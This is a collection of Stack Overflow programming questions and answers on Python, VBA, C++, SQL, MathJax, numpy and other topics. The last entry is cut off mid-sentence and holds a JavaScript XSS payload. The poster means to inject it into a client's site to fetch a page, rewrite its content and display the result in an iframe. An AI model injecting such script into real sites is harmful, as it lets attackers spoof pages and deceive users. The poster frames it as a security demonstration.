11930477	0	 <pre><code>with open("f1") as f1,open("f2") as f2: if f1.read().strip() in f2.read(): print 'found' </code></pre> <p>Edit: As python 2.6 doesn't support multiple context managers on single line:</p> <pre><code>with open("f1") as f1: with open("f2") as f2: if f1.read().strip() in f2.read(): print 'found' </code></pre>
37476824	0	 <p>You can set the <strong>NumberFormat</strong> of the cell:</p> <p><code>Range("E" &amp; destRow).NumberFormat = "m/d/yyyy"</code></p> <p><strong>EDIT</strong></p> <p>The value itself <strong>won't</strong> change. You could "cut" the value:</p> <pre><code>Left(Range("E" &amp; destRow).Value, 10) </code></pre>
9891660	0	Struts2 + REST plugin XML output <p>I'm creating a Web Service with the Struts2 REST Plugin, which works great. I just have a problem with the entity names of the XML output.</p> <p>I have a model class named "ModelClass" in the package "com.mycompany.implementation" with a few properties and a nested class "NestedModelClass", and the XML output looks like:</p> <pre><code>&lt;com.mycompany.implementation.ModelClass&gt; ... &lt;com.mycompany.implementation.ModelClass_-NestedModelClass&gt; ... &lt;/com.mycompany.implementation.ModelClass_-NestedModelClass&gt; &lt;/com.mycompany.implementation.ModelClass&gt; </code></pre> <p>How can I change the XML Entity name to be displayed without package name - or even a different name?</p> <p>Thanks!</p>
1443584	0	Is there any Document Management Component (Commercial or Open Source) for .NET? <p>We are building a .NET web application (case management) and one of the requirement it needs to have a Document Management System to store and manage the document and at the same time it can be used out side this application such as intranet. Rather than inventing the wheel to do this, is there any Document Management System component that can be integrated with .NET? I preferred the commercial one but if there is open source I am more than happy.</p> <p>Thank you</p>
17218114	0	Jquery User input into JSON <p>I have a complex form that the user has some selections to make and also a few textareas to fill in with info. The form works great and the data is passed via JSON to my MVC controller and all works fine.</p> <p>However users being users I have found that some are using special chars like "£$%&amp;() etc and these are causing the JSON to be formatted incorrectly so the Controller Action is not binding correctly.</p> <p>SO my question is how can I encode the text input from the user so that it will form valid JSON.</p> <p>Current way I collect the data is:</p> <pre><code>var TelNo = $("#TelNo"). var EmailMessage = $("#EmailMessage").val(); </code></pre> <p>Thanks.</p> <p>Cliff.</p>
38528723	0	 <p>To handle it in better way, return date in String format from server side with appropriate timezone conversion. In the convert() function of your model, grab the string and return the date value. This will take care of your timezone issues.</p> <p>Example:</p> <pre><code>convert(v){ //Here v is the input string coming from server side. var date = new Date(v); return date; } </code></pre> <p>Hope this helps !!!</p>
10692864	0	Load UIImage from file using grand central dispatch <p>I'm trying to load images in the background using gcd. My first attempt didn't work:</p> <pre><code>dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_LOW,0), ^{ dispatch_async(dispatch_get_main_queue(), ^{ // create UI Image, add to subview }); }); </code></pre> <p>commenting out the background queue code and leaving just the main queue dispatch block didn't work:</p> <pre><code>dispatch_async(dispatch_get_main_queue(), ^{ // create UI Image, add to subview }); </code></pre> <p>Is there some trick to doing ui stuff inside a gcd block?</p> <p>In response to mattjgalloway's comment, I'm simply trying to load a big image in a background thread. Here's the full code that I tried originally:</p> <pre><code>dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_LOW,0), ^{ UIImage* img = [[UIImage alloc] initWithContentsOfFile: path]; dispatch_async(dispatch_get_main_queue(), ^{ imageView = [[[UIImageView alloc] initWithImage: img] autorelease]; imageView.contentMode = UIViewContentModeScaleAspectFill; CGRect photoFrame = self.frame; imageView.frame = photoFrame; [self addSubview:imageView]; }); }); </code></pre> <p>I simplified it so that I was running everything inside the main queue, but even then it didn't work. I figure if I can't get the whole thing to work in the main queue, no way the background queue stuff will work.</p> <hr> <p>================ UPDATE ==============</p> <p>I tried the above technique (gcd and all) in a brand new project and it does indeed work as expected. Just not in my current project. So I'll have to do some slow, painful process of elimination work to figure out what's going wrong. I'm using this background loading to display images in a uiscrollview. Turns out bits of the images do sometimes show up, but not always. I'll get to the bottom of this....</p> <p>================ UPDATE ==============</p> <p>Looks like the issue is related to the UIScrollView all of this is inside. I think stuff isn't getting drawn/refreshed when it should</p>
3051992	0	Compiler warning at C++ template base class <p>I get a compiler warning, that I don't understand in that context. When I compile the "Child.cpp" from the following code. (Don't wonder: I stripped off my class declarations to the bare minimum, so the content will not make much sense, but you will see the problem quicker). I get the warning with <a href="http://en.wikipedia.org/wiki/Microsoft_Visual_Studio#Visual_Studio_.NET_2003" rel="nofollow noreferrer">Visual&nbsp;Studio&nbsp;2003</a> and <a href="http://en.wikipedia.org/wiki/Microsoft_Visual_Studio#Visual_Studio_2008" rel="nofollow noreferrer">Visual&nbsp;Studio&nbsp;2008</a> on the highest warning level.</p> <hr> <h2>The code</h2> <p><strong>AbstractClass.h:</strong></p> <pre><code>#include &lt;iostream&gt; template&lt;typename T&gt; class AbstractClass { public: virtual void Cancel(); // { std::cout &lt;&lt; "Abstract Cancel" &lt;&lt; std::endl; }; virtual void Process() = 0; }; // Outside definition. If I comment out this and take the inline // definition like above (currently commented out), I don't get // a compiler warning. template&lt;typename T&gt; void AbstractClass&lt;T&gt;::Cancel() { std::cout &lt;&lt; "Abstract Cancel" &lt;&lt; std::endl; } </code></pre> <p><strong>Child.h:</strong></p> <pre><code>#include "AbstractClass.h" class Child : public AbstractClass&lt;int&gt; { public: virtual void Process(); }; </code></pre> <p><strong>Child.cpp:</strong></p> <pre><code>#include "Child.h" #include &lt;iostream&gt; void Child::Process() { std::cout &lt;&lt; "Process" &lt;&lt; std::endl; } </code></pre> <hr> <h2>The warning</h2> <p>The class "Child" is derived from "AbstractClass". In "AbstractClass" there's the public method "AbstractClass::Cancel()". If I define the method outside of the class body (like in the code you see), I get the compiler warning...</p> <blockquote> <p>AbstractClass.h(7) : warning C4505: 'AbstractClass::Cancel' : unreferenced local function has been removed with [T=int]</p> </blockquote> <p>...when I compile "Child.cpp". I do not understand this, because this is a <em>public</em> function, and the compiler can't know if I later reference this method or not. And, in the end, I reference this method, because I call it in main.cpp and despite this compiler warning, this method works if I compile and link all files and execute the program:</p> <pre><code>//main.cpp #include &lt;iostream&gt; #include "Child.h" int main() { Child child; child.Cancel(); // Works, despite the warning } </code></pre> <p>If I do define the Cancel() function as inline (you see it as out commented code in AbstractClass.h), then I don't get the compiler warning. Of course my program works, but I want to understand this warning or is this just a compiler mistake?</p> <p>Furthermore, if do not implement AbsctractClass as a template class (just for a test purpose in this case) I also don't get the compiler warning...?</p> <hr> <p>If I make a non-virtual function, I don't get the compile warning for that non-virtual function, but all answers up to now don't comprise the virtual stuff. Try this:</p> <pre><code>template&lt;typename T&gt; class AbstractClass { public: virtual void Cancel(); // { std::cout &lt;&lt; "Abstract Cancel" &lt;&lt; std::endl; }; virtual void Process() = 0; void NonVirtualFunction(); }; //... template&lt;typename T&gt; void AbstractClass&lt;T&gt;::NonVirtualFunction() { std::cout &lt;&lt; "NonVirtualFunction" &lt;&lt; std::endl; } </code></pre> <p>The answers up to know helped me, but I don't think that the question is fully answered.</p>
26181981	0	 DIDO is a MATLAB optimal control tool for solving general-purpose hybrid optimal control problems.
8762863	0	 <p>** This is C# Code ** Hope you can use the logic for PHP **</p> <p>Step #1 – Create a products listing page, for each product add a CheckBox field.</p> <p>Step #2- Create a link “Compare” that has runs a function. Here is a sample:</p> <pre><code>private void funcCompare() { // REMOVED ALL SESSION Session.Remove("arrCompare"); Session.Remove("catCompare"); // CREATE NEW ARRAY List&lt;string&gt; arrCompare = new List&lt;string&gt;(); // COLLECT CHECKBOX DATA into ARRAY for (int i = 0; i &lt; Repeater1.Items.Count; i++) { CheckBox chk = (CheckBox)Repeater1.Items[i].FindControl("cbCompare"); if (chk.Checked) { arrCompare.Add(chk.ToolTip); } } // PLACE ARRAY INTO SESSION Session["arrCompare"] = arrCompare; // GO TO COMPARE PAGE Response.Redirect("ProductCompare.aspx"); } </code></pre> <p>The functions gets all the checked items (productID’s) and creates an array and then places that array in a Session("arrCompare");</p> <p>I then redirect to ProductCompare.aspx page where loop through the array and display each item.</p>
5229988	0	Is there any guide lines for AirPlay on iOS <p>I there any guide line for AirPlay on iOS?</p> <p>Any sample code and tutorial is well cone.</p> <p>The only thing I could find is in <a href="http://developer.apple.com/library/prerelease/ios/#releasenotes/General/WhatsNewIniPhoneOS/Articles/iOS4_3.html%23//apple_ref/doc/uid/TP40010567-SW2" rel="nofollow">What's New in iOS</a> from apple.</p>
39630787	0	 <p>If you script has repeated instructions shorten the script down and use the "play loop" and increase "max" setting how many times you want the script to repeat, i find anything over 10,000 lines begans to stall the script to start longer the script the longer it takes to load into memory</p>
25322918	0	 <p>The macros <code>\textup</code>, <code>\AE</code>, and <code>\SS</code> are not part of the default MathJax TeX macros and are not defined in your inline configuration, which is why the rendering in the image has them marked in red. </p> <p>You'll see a more specific error if you remove the <code>noundefined</code> and <code>noerrors</code> extensions from your configuration -- which are also in <a href="http://docs.mathjax.org/en/latest/config-files.html#the-tex-ams-html-configuration-file" rel="nofollow">the combined configuration <code>TeX-AMS_HTML</code></a>, so you'll need to drop that as well; as you can see from the link, your inline configuration entails all of <code>TeX-AMS_HTML</code>. (In production, it's preferable to use a combined configuration file since they load as a single large file.)</p> <p>For a list of all default MathJax macros, see <a href="http://docs.mathjax.org/en/latest/tex.html#supported-latex-commands" rel="nofollow">http://docs.mathjax.org/en/latest/tex.html#supported-latex-commands</a>.</p> <p>For how to define macros in MathJax, see <a href="http://tex.stackexchange.com/questions/139699/equivalent-of-mathup-for-upright-text-in-math-mode">http://tex.stackexchange.com/questions/139699/equivalent-of-mathup-for-upright-text-in-math-mode</a>. From there an example:</p> <pre><code>MathJax.Hub.Config({ TeX: { Macros: { RR: "{\\bf R}", bold: ["{\\bf #1}",1] } } }); </code></pre> <p>i.e., add a <code>Macros</code> block to the <code>TeX</code> block in your configuration.</p> <p>(A particular case is<code>\textup</code>, which is a LaTeX <em>text mode</em> macro and MathJax focuses on <em>math mode</em>. Depending on the use case, the math equivalent might be <code>\text{}</code>, <code>\mathrm{}</code>, or something else, see <a href="http://tex.stackexchange.com/questions/139699/equivalent-of-mathup-for-upright-text-in-math-mode">this TeX.SE questions</a>. Of course you can define <code>\textup</code> to be whatever you like but you might run into trouble backporting content to real TeX).</p>
17497276	0	RoR: friendly_id unique for user <p>I have a website that has works on the premise:</p> <p><code>example.com/user_id/news/slug-for-article</code></p> <p>By default, I have enabled unique slugs for articles, however I would like to have slugs unique per user, across all users.</p> <p>The non-uniqueness is handled by using <code>@user.articles.friendly.find(param)</code>.</p> <p>How can I set this up so it ensures uniqueness, but only for a defined attribute?</p>
22356018	0	 <p>try this out:-</p> <p>install <code>ruby-nmap</code> gem</p> <pre><code> gem install ruby-nmap </code></pre>
945344	0	 <p>Look into <a href="http://msdn.microsoft.com/en-us/library/ms712704(VS.85).aspx" rel="nofollow noreferrer">Multimedia Timers</a>.</p>
21654981	0	How do I add a column that points to another table in a Rails database? <p>Let's say I currently have a table titled "Report" and within Report, there are a bunch of strings, integers, timestamps, etc.</p> <p>Now, I want to somehow be able to see who is currently working on a certain report - all I need are names, but the key is it could be more than one name so just adding a string column to the Report table wouldn't work. Plus, the names would keep changing - at one point, "Steve" and "John" could be working on a report, but once "Steve" stops, I need to be able to get rid of his name from the table.</p> <p>I have a feeling that the correct way to do this is by: </p> <ul> <li>creating a new table titled "Viewers" and having just one string field (for the person's name) in there. I'd add rows to this table when a new viewer is detected.</li> <li>linking to indices within the Viewers table from the Report table. When a person stops viewing the report, the respective index is destroyed.</li> </ul> <p>I think that makes sense logically, but I'm hesitant to implement this without being sure that this is the way to go. Any help/feedback/suggestions would be appreciated!</p> <p>Edit:</p> <p>I created a model for my join table and it auto-generated a migration and added an integer "viewer_id" and an integer "report_id" like Vimsha suggested below. However, I can't correctly implement the join tables in my code for some reason - when I want to add to the new Table (report_viewers), I say:</p> <pre><code>@viewer = ReportViewer.new @viewer.viewer_id = get_current_user[:id] @viewer.report_id = this_report.id @viewer.save </code></pre> <p>However, when I access the table via </p> <pre><code>ReportViewer.where(:report_id =&gt; my_report.id).last.viewer_id.name (the viewer table has a string name) </code></pre> <p>it gives me a nil class. Do you know why?</p>
4245544	0	 <p>If the problem is "how to locate the field that's above the current field":</p> <p>You need to store your pictureBoxes not (just) as picturebox1 to pictureBox64, but (also) as a two-dimensional array: <code>PictureBox[,] grid = new PictureBox[8,8];</code>. (*)</p> <p>Then you need to find out where that 'current' field is in the grid. From there it's simple to calculate where the 'next' field would be (y=y+1). Watch out that you don't go over the edge of the field.</p> <p>(*) Although you might want to remember more per field than just the picturebox, such as what piece (if any) occupies that field?</p>
564273	0	 <p><strong>Perl</strong></p> <p>I love this language, and I don't want to add things that have already been used, but no one has mentioned this yet, so I'll throw it on the pot. When I used this feature, I found it to be the most horrible experience of my life (and I've worked in assembly language):</p> <ul> <li>The <code>write()</code> and <code>format()</code> functions.</li> </ul> <p>They have the single worst, ugliest, most horrifying syntax imaginable, and yet they don't manage to give you <em>any</em> more functionality than you could already achieve with some (infinitely prettier) <code>printf()</code> work. <em>No one</em> should <em>ever</em> try to use those two functions to do any output, simply because of how bad they are.</p> <p>I'm sure someone will disagree, but when I looked into them, hoping they would solve my problem, I found them to be a "world of pain" (to quote the Big Lebowski), and hope that Perl6 has either done away with them or, better, completely rewritten them to be somewhat more usable and useful.</p>
20262609	0	GAE-Development-Server: How to exclude part of the code from beeing checked for restricted classes? <p>I want to try a new Jvm-language (yeti-lang) on app-engine.</p> <p>To have a more rapid development, there is a ServletFilter which in development-mode, watches the yeti-source dir and recompiles the yeti-sources on each change automatically and than uses them to handle the rquest. (During production the sources are compile by the buildscript and the filter does nothing).</p> <p>This works well on normal Servlet-Containers however the gae-development-server complains about using a restricted class (java nio.file.Filesystem which is used to watch the source-dir for changes), which is generally fine. However in this case it would be great if I could just take this DevlopmentFilter out of the restricted-class check or somehow work around it.</p> <p>Is there any way to accomplisch that? </p>
21742461	0	 <p>There's a central confusion here over the word "session". I'm not sure here, but it appears like you may be confusing the <a href="http://docs.sqlalchemy.org/en/latest/orm/session.html">SQLAlchemy Session</a> with a <a href="https://dev.mysql.com/doc/refman/5.1/en/set-statement.html">MySQL @@session</a>, which refers to the scope of when you first make a connection to MySQL and when you disconnect.</p> <p>These two concepts are <strong>not the same</strong>. A SQLAlchemy Session generally represents the scope of <strong>one or more transactions</strong>, upon a particular database connection.</p> <p>Therefore, the answer to your question as literally asked, is to call <code>session.close()</code>, that is, "how to properly close a SQLAlchemy session".</p> <p>However, the rest of your question indicates you'd like some functionality whereby when a particular <code>Session</code> is closed, you'd like the actual DBAPI connection to be closed as well.</p> <p>What this basically means is that you wish to disable <a href="http://docs.sqlalchemy.org/en/latest/core/pooling.html">connection pooling</a>. Which as other answers mention, easy enough, <a href="http://docs.sqlalchemy.org/en/latest/core/pooling.html#switching-pool-implementations">use NullPool</a>.</p>
35662195	0	 <p>My suggestion is:</p> <pre><code>get_foo = re.compile(r'([^\)]*\)?)').findall foo = get_foo(s1) # And so on </code></pre>
38945859	0	 <p><strong>SQL INJECTION</strong></p> <p>^ Please Google that! Your code is <em><strong>seriously vulnerable!</strong></em> Your data can be stolen or deleted...</p> <p><strong>You have to sanitize your inputs at least with <a href="https://dev.mysql.com/doc/apis-php/en/apis-php-mysqli.real-escape-string.html" rel="nofollow"><code>mysqli_real_escape_string()</code></a></strong></p> <p>Even better would be to <a href="http://stackoverflow.com/a/60496/1667004">take proper countermeasures to SQL injection</a> and use prepared statements and parametrized queries! (as shown in the code below)</p> <hr> <p>I think the best approach would be to handle the logic by altering the query based on the values of the variables:</p> <pre><code>$sql = "SELECT p.price, p.type, p.area, p.floor, p.construction, p.id as propertyID, CONCAT(u.name, ' ',u.family) as bname, p.type as ptype, n.name as neighborhoodName, CONCAT(o.name,' ',o.surname,' ',o.family) as fullName FROM `property` p LEFT JOIN `neighbour` n ON p.neighbour = n.id RIGHT JOIN `owners` o ON p.owner = o.id LEFT JOIN users u ON p.broker = u.id WHERE `neighbour`= :current "; //note: ending white space is recommended //lower boundary clause -- if variable null - no restriction if(!is_null($priceFrom){ sql = sql . " AND `price` &gt;= :priceFrom "; // note: whitespace at end and beginning recommended } //upper boundary -- better than to set it to an arbitrary "high" value if(!is_null($priceTo)){ sql = sql . " AND `price` &lt;= :priceTo "; // note: whitespace at end and beginning recommended } </code></pre> <p>This approach allows for any upper value: if there is a serious inflation, a different currency, or suddenly the code will be used to sell housese and there will be products with prices > 200000, you don't need to go out and change a lot of code to make it show...</p> <p>The parameters need to be bound when executing the query of course:</p> <pre><code>$stmt = $dbConnection-&gt;prepare(sql); $stmt-&gt;bind_param('current', $current); if(!is_null($priceFrom)){ $stmt-&gt;bind_param('priceFrom', $priceFrom); } if(!is_null($priceTo)){ $stmt-&gt;bind_param('priceTo', $priceTo); } //execute and process in same way $stmt-&gt;execute(); </code></pre> <p><strong>Also note:</strong> from your code it seems you are issuing queries in a loop. That is <strong>bad practice</strong>. If the data on which you loop comes </p> <ul> <li>from the DB --> use a <code>JOIN</code></li> <li>from an array or other place of the code --> better use an <code>IN</code> clause for the elements</li> </ul> <p>to fetch all data with one query. This helps a lot both in organizing and maintaining the code and results generally in better performance for the most cases.</p>
30512313	0	Indexing the last dimension of a 3D array with a 2D integer array <p>I have one 3D <code>data = NxMxD</code> numpy array, and another 2D <code>idx = NxM</code> integer array which values are in the range of <code>[0, D-1]</code>. I want to perform basic updates to each <code>data = NxM</code> entry at the depth given by the <code>idx</code> array at that position.</p> <p>For example, for <code>N = M = D = 2</code>:</p> <pre><code>data = np.zeros((2,2,2)) idx = np.array([[0,0],[1, 1]], int) </code></pre> <p>And I want to perform a simple operation like:</p> <pre><code>data[..., idx] += 1 </code></pre> <p>My expected output would be:</p> <pre><code>&gt;&gt;&gt; data array([[[ 1., 0.], [ 1., 0.]], [[ 0., 1.], [ 0., 1.]]]) </code></pre> <p><code>idx</code> indicates for each 2D coordinate which <code>D</code> should be updated. The above operation doesn't work. </p> <p>I've found <a href="https://stackoverflow.com/questions/29098417/numpy-get-2d-array-where-last-dimension-is-indexed-according-to-a-2d-array">this approach</a> in SO which solves the indexing problem by using:</p> <pre><code>data[np.arange(N)[:, None], np.arange(M)[None, :], idx] += 1 </code></pre> <p>It works fine, but looks pretty horrible needing to manually index the whole matrices for what it seems a pretty simple operation (using one matrix as a index mask for the last channel).</p> <p>Is there any better solution?</p>
3596523	0	Is it possible to read an LLVM bitcode file into an llvm::Module? <p>I'm writing a compiler with LLVM. Each source file is compiled into an LLVM bitcode file. Eventually the linker links and optimizes all the bitcode files into one final binary.</p> <p>I need a way to read the bitcode files in the compiler in order to access the type information. The LLVM documentation shows a class called <code>BitcodeReader</code>, but that appears to be internal to LLVM.</p> <p>Is there any publicly accessible way to read a bitcode file into an <code>llvm::Module</code>?</p>
34647436	0	 <pre><code>.*(=|&lt;|&gt;|!=)\s*(-?\d+|'[^']+') </code></pre> <p><a href="https://regex101.com/r/rX1pW3/1" rel="nofollow">regex101</a></p>
9104335	0	 <p>As you requested, to automate this for all items with the class <code>moveID</code>, you could use this:</p> <pre><code>$('.moveID').each(function() { var id = this.id; $(this).removeAttr('id').children().first().attr('id', id); }); </code></pre>
595878	0	Link in popup window does not close the window? <p>I have this bit of html code, but when I click the link, it does not close:</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h2&gt;Members Only&lt;/h2&gt; &lt;p&gt;You must be a member.&lt;/p&gt; &lt;p&gt;Please Sign In or Create an Account.&lt;/p&gt; &lt;a href="javascript: self.close ()"&gt;Close this Window&lt;/a&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
26706176	0	 <p>Create the "child" table to cascade the delete from the referenced "parent" table. Something like this:</p> <pre><code>CREATE TABLE answers ( id SERIAL, question_id int REFERENCES questions(id) ON DELETE CASCADE, ... ); </code></pre> <p>Now, deleting the question records will also delete the referenced answer records.</p>
29186154	0	Chrome - clicking mailto: links closes websocket connection <p>I'm using the latest stable Chrome, version 41 . I have an open websocket connection on the page and a link to an email address (mailto:***). When the user clicks on the email address the websocket connection is closed. Firefox doesn't have this issue. Do you know how to fix this?</p> <p>Thank you</p>
335669	0	 <p>First, I would review my SQL 2000 code and get to the bottom of why this deadlock is happening. Fixing this may be hiding a bigger problem (Eg. missing index or bad query). </p> <p>Second I would review my architecture to confirm the deadlocking statement really needs to be called that frequently (Does <code>select count(*) from bob</code> have to be called 100 times a second?). </p> <p>However, if you really need some deadlock support and have no errors in your SQL or architecture try something along the following lines. (Note: I have had to use this technique for a system supporting thousands of queries per second and would hit deadlocks quite rarely) </p> <pre><code>int retryCount = 3; bool success = false; while (retryCount &gt; 0 &amp;&amp; !success) { try { // your sql here success = true; } catch (SqlException exception) { if (exception.Number != 1205) { // a sql exception that is not a deadlock throw; } // Add delay here if you wish. retryCount--; if (retryCount == 0) throw; } } </code></pre>
280727	0	 <p>I don't think it's a good idea to create one class per method. You could instead create a static only methods class, named e.g StringUtils and implement the methods. This way you would call:</p> <p>String lowerCaseString = StringUtils.lowercase( targetString );</p> <p>This would also offer you intellisense help while you are typing. The list of your classes will go otherwise too big. Even for this simple example, you should implement more than one Lowercase classes, so that you could also cater for circumstances that the CulutureInfo must be taken into consideration.</p> <p>I don't think this breaks OO principles in any way or that is bad design. In other languages, Ruby for example, you could add your methods directly to String class. Methods that end with ! denote that the original object is modified. All other methods return a modified copy. Ruby on Rails framework adds some methods to the String class and there is some debate about whether this is a good technique or not. It is definitely handy though.</p>
33085823	0	 <p>All the snippets of code access data that has been deleted, which has no defined behavior. Therefore, any further assumption is meaningless and left to the single case. Whether you're accessing a <code>vector</code>, <code>char*</code>, <code>string</code> there's no difference: it's always the same violation.</p>
9936386	0	How to draw into PDF on iOS? <p>I am trying to find a way to allow the user to annotate (i.e. free form drawing) an existing PDF file in iOS, but the only approach that I have found seems extraordinarily cumbersome.</p> <p>The solution is in Monotouch, but I can translate from Objective-C if needed. This will also mean that many of the method and property names may not be completely familiar to non-Monotouch developers, but I am just looking for an approach.</p> <p>I currently have code that allows users to annotate images (jpg, png) using the TouchesMoved and TouchesBegan events on a UIView. This works well and accomplishes what I need.</p> <p>However, when working with an existing PDF file, it seems that the majority of the CGPDF functionality is centered around creating new files rather than editing existing ones.</p> <p>The only approach that I have been able to come up with is the following:</p> <ol> <li><p>When the UIView is opened, create a temporary file and set the PDF context to that file (UIGraphics.BeginPDFContext(filename)).</p></li> <li><p>Create a new CGPDFDocument from the original file and then draw each page from the original PDF into the current context, which will be the new temporary file.</p></li> <li><p>Destroy the original PDF document created in step 2.</p></li> <li><p>Show the user the first page and then let them draw on it, with the drawing commands being sent to the new file's context. There will also be methods to allow the user to change pages.</p></li> <li><p>When the user is done, close the PDF context, which will save all of the annotations to the new PDF file.</p></li> </ol> <p>This seems like it has the potential to be an enormous memory and performance hog, so I am wondering if there is any other way to approach this?</p>
26542261	0	Contact form design issue in CSS <p>I'm trying to code the below contact form in HTML&amp;CSS.. The issue is how to make the inputs, textarea and the post button in one container and at by taking in consideration that there is a label for each one (out of the container).</p> <p><img src="https://i.stack.imgur.com/46ShF.png" alt="enter image description here"></p> <p>For the name, the label is on the right. And it's on the left for the email. Then, the textarea label is stick to the top (I tried using bottom:100px with position:relative and it works) but I'm looking for more ideal solution.</p> <p>Please find the code in this <a href="http://jsfiddle.net/shadeed9/wa7xs9vu/1/" rel="nofollow noreferrer">fiddle</a>: (see full screen for better view)</p> <p>Input group CSS:</p> <pre><code>.post .contact form .input-group { display: inline-block; margin-left: 10px; margin-bottom: 15px; position: relative; } </code></pre> <p>PS: The layout should be responsive and work on all screens.</p> <p>Thanks,</p>
2584307	0	 <p>Yes, this is normal. It's not a problem that your test code is longer than your production code.</p> <p>Maybe your test code could be shorter than it is, and maybe not, but in any case you don't want test code to be "clever", and I would argue that after the first time of writing, you don't want to refactor test code to common things up unless absolutely necessary. For instance if you have a regression test for a past bug, then unless you change the public interface under test, don't touch that test code. Ever. If you do, you'll only have to pull out some ancient version of the implementation, from before the bug was fixed, to prove that the new regression test still does its job. Waste of time. If the only time you ever modify your code is to make it "easier to maintain", you're just creating busy-work.</p> <p>It's usually better to add new tests than to replace old tests with new ones, even if you end up with duplicated tests. You're risking a mistake for no benefit. The exception is if your tests are taking too long to run, then you want to avoid duplication, but even that might be best done by splitting your tests into "core tests" and "full tests", and run all the old maybe-duplicates less frequently.</p> <p>Also see <a href="http://stackoverflow.com/questions/2556594/sqlites-test-code-to-production-code-ratio">SQLite&#39;s test code to production code ratio</a></p>
32734951	0	 <p>You are getting it wrong, <a href="https://msdn.microsoft.com/en-us/library/system.linq.enumerable.range(v=vs.100).aspx">Enumerable.Range</a> has second parameter as <code>count</code>, it should be:-</p> <pre><code>if (!Enumerable.Range(settingsAgeFrom, (settingsAgeTo - settingsAgeFrom) + 1) .Contains(age)) </code></pre> <p>So by this, your range will be 18 - 20 instead of 18 - 37 (which your current code is producing).</p>
9914065	0	 <p>Well, the other answer is probably better, but I wrote this anyway, so I'm posting it:</p> <p>Needs:</p> <pre><code>using System.Text.RegularExpressions; </code></pre> <p>Code: </p> <pre><code>string str = "B82V16814133260"; string[] match = Regex.match(str, @"^([\d\w]+?\w)(\d+)$").Groups; string left = match[1]; string right = match[2]; </code></pre>
6685784	0	 <p>As a1ex07 says in a comment, your code looks more like what you would put in <code>operator=</code> than in a copy constructor.</p> <p>First of all, a copy constructor is initializing a brand new object. A check like <code>if (this != &amp;p)</code> doesn't make much sense in a copy constructor; the point you are passing to the copy constructor is never going to be the object that you are initializing at that point (since it's a brand new object), so the check is always going to be <code>true</code>.</p> <p>Also, doing things like <code>if (label != NULL)</code> is not going to work, because <code>label</code> is not yet initialized. This check might return <code>true</code> or <code>false</code> in random ways (depending if the uninitialized <code>label</code> is <code>NULL</code> by chance).</p> <p>I would write it like this:</p> <pre><code>GPSPoint(const GPSPoint&amp; p) : lat(p.lat), lon(p.lon), h(p.h) { if (p.label != NULL) { label = new char[strlen(p.label) + 1]; strcpy(label, p.label); } else { label = NULL; } } </code></pre> <p>Maybe making <code>label</code> a <code>std::string</code> instead of a C-style <code>char*</code> would be a better idea, then you could write your copy constructor purely using an initializer list:</p> <pre><code>class GPSPoint { private: double lat, lon, h; std::string label; public: // Copy constructor GPSPoint(const GPSPoint&amp; p) : lat(p.lat), lon(p.lon), h(p.h), label(p.label) { } } </code></pre>
30701258	0	 <p>The createPolygon function needs to return the resulting polygon to GeoXml3 so it can manage it.</p> <pre><code>function addMyPolygon(placemark) { var polygon = geoXml.createPolygon(placemark); google.maps.event.addListener(polygon, 'click', function(event) { var myLatlng = event.latLng; infowindow.setContent("&lt;b&gt;"+placemark.name+"&lt;/b&gt;&lt;br&gt;"+placemark.description+"&lt;br&gt;"+event.latLng.toUrlValue(6)); infowindow.setPosition(myLatlng); infowindow.open(map); }); return polygon; }; </code></pre> <p>Also, if you are going to use <code>event</code> inside the polygon 'click' listener it needs to be defined.</p> <p><a href="http://www.geocodezip.com/geoxml3_test/v3_SO_geoxml3_createPolygon.html" rel="nofollow">working example</a></p>
31724510	0	 <p>I found the problem, I had specified the index <code>my_index</code> in the server box on sense. Removing this and re-executing the post command as:</p> <pre><code>POST /my_index/_search?scroll=10m&amp;search_type=scan { "query": { "match_all": {}} } </code></pre> <p>and passing the resulting scroll_id as:</p> <pre><code>GET _search/scroll?scroll=1m&amp;scroll_id="c2Nhbjs1OzE4ODY6N[...]c5NTU0NTs=" </code></pre> <p>worked!</p>
4277726	0	 <p>I'm not expecting upvotes... but I wanted to share this: <a href="http://www.multicoreinfo.com/research/papers/whitepapers/MT-Algorithms-Chapter.pdf" rel="nofollow">Multithreaded Algorithms Chapter</a> of the Cormen book.</p>
38392934	0	Dompdf - Chroot cant find file in Directory <p>When i try to load a HTML file which is in my storage Directory of my Laravel Project. I specified the path correctly and the file is there.</p> <p>I tried moving the html file to the root of dompdf in the vendor map but that didn't help. Changing the path of chroot messes with other parts of dompdf itself. giving an error about not being able to find fonts.</p> <p>This is the error i get</p> <pre><code>`Permission denied on &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head lang="en"&gt; &lt;meta charset="UTF-8"&gt; &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="body"&gt; &lt;h2&gt;test&lt;/h2&gt; &lt;hr/&gt; &lt;p class="content"&gt;content test&lt;/p&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt;. The file could not be found under the directory specified by Options::chroot.` </code></pre> <p>Are there any changes I could make in dompdf.php or Options.php to make it work?</p>
8924602	0	Injected JavaScript function not executing <p>As part of an XSS flaw I'm trying to demonstrate to a client, I'm trying to inject some JavaScript that will </p> <ol> <li>retrieve a webpage,</li> <li>edit the source of that webpage, and</li> <li>spawn an iframe with the new source.</li> </ol> <p>Here is the code that I have: </p> <pre><code>&lt;script&gt; function getSource() { xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200) { var content=xmlhttp.responseText; content = content.replace(/hey/gi, "howdy"); var ifrm = document.getElementById('myIframe'); ifrm = (ifrm.contentWindow) ? ifrm.contentWindow : (ifrm.contentDocument.document) ? ifrm.contentDocument.document : ifrm.contentDocument; ifrm.document.open(); ifrm.document.write(content); ifrm.document.close(); } } xmlhttp.open("GET","http://www.site.com/pagetopull.html",true); xmlhttp.send(); } &lt;/script&gt; &lt;button onclick="getSource();"&gt;click&lt;/button&gt; &lt;iframe id="myIframe"&gt;&lt;/iframe&gt; </code></pre> <p>If I have this code wrapped in html tags and then make it into its own page and hit click, the code executes perfectly and the retrieved page is displayed in the iframe. However, when I inject this code into my test surface, the iframe appears but hitting click does not execute the function and retrieve the desired webpage. I am retrieving a page from the same domain, so it is not violating the same origin policy (as far as I'm aware). Can 